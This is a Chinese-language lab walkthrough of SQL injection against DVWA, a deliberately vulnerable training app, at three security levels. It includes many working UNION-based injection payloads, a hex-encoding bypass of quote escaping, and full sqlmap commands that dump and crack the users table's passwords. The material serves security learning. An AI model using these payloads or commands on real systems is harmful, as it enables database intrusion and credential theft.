About
服务端没有对用户提交的参数进行严格的过滤,导致可以将 SQL 语句插入到可控参数中,改变原有的 SQL 语义结构,从而执行攻击者所预期的结果。
手工注入思路:
- 判断是否存在注入,注入是字符型还是数字型
- 猜解 SQL 查询语句中的字段数
- 确定显示的字段顺序
- 获取当前数据库
- 获取数据库中的表
- 获取表中的字段名
- 查询到账户的数据
Object
数据库中有 5 个用户,他们的 id 分别是从 1 到 5。你的任务,是用 SQL 注入的方式窃取他们的密码。
001 Low
判断注入类型
判断是否存在注入,注入是字符型还是数字型。
输入:3
,页面正常
输入:2'
,页面报错:
由此可知,查询参数类似于下面的 SQL 语句:
select * from users where id = '';
我们可以使用闭合注入(控制单引号),来看看有什么现象。输入1' or '1' = '1
,有:
到这里我们基本能判断出这是字符型注入。
判断列数
判断语句中的列数(字段数)。
输入:1' or 1=1 order by 1 #
,查询成功!
输入:1' or 1=1 order by 2 #
,查询成功!
输入:1' or 1=1 order by 3 #
,查询失败……
所以列数为2。
联合查询
输入:1' union select 1, 2 #
获取数据库信息
在这一步中我们可以做很多事情。比如:
1、显示数据库版本号、当前数据库名;
1' union select version(), database() #
2、获得数据库中的表名;
1' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() #
但是这个会出一个错误:
这个问题和数据库的编码设置有关。在不改变数据库的情况下,一个前端解决办法是换用十六进制编码我们要的字段:
1' union select 1, hex(group_concat(table_name)) from information_schema.tables where table_schema=database() #
然后再到 Brupsuite 解码回来:
3、获得某表列名;
1' union select 1, hex(group_concat(column_name)) from information_schema.columns where table_name='users' #
解码过来是:
4、获得数据:
1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
002 Medium
该等级下开发者改用表单提交数据,以防止 SQL 注入。在后端代码中也加入了mysql_real_escape_string()
函数,用于转义特殊字符防止 SQL 注入,受影响的字符包括:
\x00
\n
\r
\
'
"
\x1a
由于这是下拉表单,使用 POST 请求转递参数,我们可以通过 Brupsuite 或 Hackbar 来辅助攻击。表单数据可以用 Brupsuite 抓包来看,或浏览器 F12 找到。
判断注入类型
输入:id=2 or 1=1&Submit=Submit
再输入:id=2' or 1=1&Submit=Submit
由此观之,这是数字型注入。
判断列数
假设是 2 列:
id=2 or 1=1 order by 2 #&Submit=Submit
再假设是 3 列:
id=2 or 1=1 order by 3 #&Submit=Submit
由此观之字段数是 3。
联合查询
使用联合查询获得数据库信息,这几个步骤和上一等级相似。
1、查询字段数;
2、数据库版本号、当前数据库名;
3、获得数据库中的表名;
4、获得某表列名(注意这一步会报错);
这是因为mysql_real_escape_string()
函数把单引号转义了。我们可以使用十六进制绕过单引号:
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#&Submit=Submit
5、获得字段;
id=1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #&Submit=Submit
003 High
该等级下,开发者使用了另外一个页面,通过 Session 变量传递参数:
这样做的目的是为了防止一般的 sqlmap 注入,因为 sqlmap 在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入(但是我们能够返回页面看到)。
这关整体和 Low 等级差不多。
判断注入类型
输入输出表如下:
输入 | 输出 |
---|---|
1 and 1=1 |
输出正常 |
1 and 1=2 |
输出正常 |
1' and '1'='1 |
输出正常 |
1' and '1'='2 |
没有输出 |
由此观之,是字符型注入。
判断列数
输入:1' or 1=1 order by 2 #
,查询成功!
输入:1' or 1=1 order by 3 #
,查询失败……
由此观之,字段数为 2。
联合查询
和 Low 等级一样,包括这几个步骤:
1、数据库版本号、当前数据库名:1' union select version(), database() #
2、获得数据库中的表名:1' union select 1, hex(group_concat(table_name)) from information_schema.tables where table_schema=database() #
3、获得某表列名:1' union select 1, hex(group_concat(column_name)) from information_schema.columns where table_name='users' #
4、获得字段:1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
Use Sqlmap
Sqlmap 是一个自动化的 SQL 注入工具,其主要功能是扫描,发现并利用给定的 URL 的SQL
注入漏洞,目前支持的数据库是 MySQL, Oracle, PostgreSQL, Microsoft SQL Server,
Microsoft Access, IBM DB2, SQLite, Firebird, Sybase 和 SAP MaxDB。
Sqlmap 的参数很多,可以在 Kali 中用man sqlmap
查看。常用的命令如下:
- 获取 DataName 数据库的表:
-D DataName --tables
- 列字段:
--columns -T "tablename" -D "db_name" -v 0
- 获取字段数据:
-D DataName –T TableNamen –C "admin,password" --dump -v 0
- 列出指定字段,列出 20 条:
--dump -C "password,user,id" -T "tablename" -D "db_name" --start 1 --stop 20
- 列出所有数据库所有表:
--dump-all -v 0
Low Level
查找注入点
sqlmap -u "http://vm-win10.me/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=c62h8idq51odgm152k36v2383b;security=low" --batch --threads 4
各个参数意义如下:
-u
:传递 URL 地址;--cookie
:模拟登陆的情况,在 Firefox 浏览器中按 F12,选择 Storage 查看;--batch
:默认选项;
Sqlmap 发送了 150 次 HTTP 请求,找到了下列 4 个注入点,它们分别是:
- 基于布尔类型的盲注;
- 报错注入;
- 基于时间的盲注;
- 联合查询;
获得数据库信息
sqlmap -u "http://vm-win10.me/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=c62h8idq51odgm152k36v2383b;security=low" --dbs --threads 4
可以看到作者当前的环境有 2 个数据库。
查看数据库中的表
sqlmap -u "http://vm-win10.me/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=c62h8idq51odgm152k36v2383b;security=low" -D dvwa --tables --threads 4
Sqlmap 扫描得到 dvwa 数据库有 2 张表。
查看表里的字段
sqlmap -u "http://vm-win10.me/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=c62h8idq51odgm152k36v2383b;security=low" --batch -D dvwa -T users --columns --threads 4
查看字段详细信息
我们发现 user 表里有 user 和 password 字段,我们看看它们的信息:
sqlmap -u "http://vm-win10.me/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=c62h8idq51odgm152k36v2383b;security=low" --batch -D dvwa -T users –C "user,password" --dump -v 0 --threads 4
途中 Sqlmap 发现数据被 md5 哈希,它会尝试去做逆哈希运算。最终能得到表内数据和解密后的密码。
Medium Level
不同与 Low Level 使用 GET Request,本关卡使用的是 POST Request 发送数据。
例如我们要查找数据库信息,要使用--data="your_post_data"
发送 POST Body,见下列命令:
sqlmap -u "http://vm-win10.me/dvwa/vulnerabilities/sqli/#" --data="id=1&Submit=Submit" --cookie="PHPSESSID=c62h8idq51odgm152k36v2383b;security=medium" --batch --dbs --threads 4
其他步骤和上一关一样。
References
- DVWA——SQL Injection(SQL注入) - 戚源
- dvwa sql injection
- DVWA Sql Injection - Manual Exploitation
- SQL查询时出现错误 “Illegal mix of collations for operation ‘UNION’”
- sqlmap + DVWA 入门 - soowin
- Do a medium level sqlinjection of DVWA using sqlmap. - Trick or Treat